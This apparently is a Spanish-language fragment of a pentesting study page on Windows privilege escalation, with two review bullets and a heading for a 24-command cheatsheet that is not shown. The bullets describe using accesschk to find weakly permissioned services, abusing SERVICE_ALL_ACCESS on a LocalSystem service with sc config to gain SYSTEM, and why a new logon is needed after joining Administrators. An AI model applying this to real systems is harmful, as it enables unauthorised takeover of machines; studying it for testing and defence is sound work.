  • accesschk -cuwqv <user> * es la primera pasada de post-explotación en Windows para localizar servicios con permisos incorrectos; SERVICE_ALL_ACCESS sobre un servicio en LocalSystem es SYSTEM inmediato con sc config.
  • Añadirse a Administradores no eleva la sesión que ya se tiene: el token se construye en el logon. Sin abrir un proceso nuevo parece que el ataque ha fallado cuando en realidad ya ha funcionado.
Cheatsheet de comandos 24 comandos

Repaso rápido